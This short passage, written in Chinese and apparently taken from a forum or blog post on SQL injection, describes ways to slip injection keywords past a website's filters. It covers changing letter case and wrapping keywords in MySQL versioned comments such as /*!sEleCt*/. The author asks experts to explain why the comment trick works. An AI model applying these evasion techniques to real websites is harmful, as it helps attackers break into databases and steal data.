4. 另外,在遇到網站有過濾的時候,可以考慮下大小寫變換繞過。所以經常看到大牛們的注入語句是稀奇古怪、變幻莫測。。最近又看到一個變態的繞過方法,/*!select*/,把容易被過濾的東西放到/*!XXX*/中,一樣可以正常查詢,也就是/*!select*/=select。如果你還不放心那就這樣/*!sEleCt*/。這個/*!XXX*/=XXX的原理我還不懂,希望大牛能給解釋下啊,求教~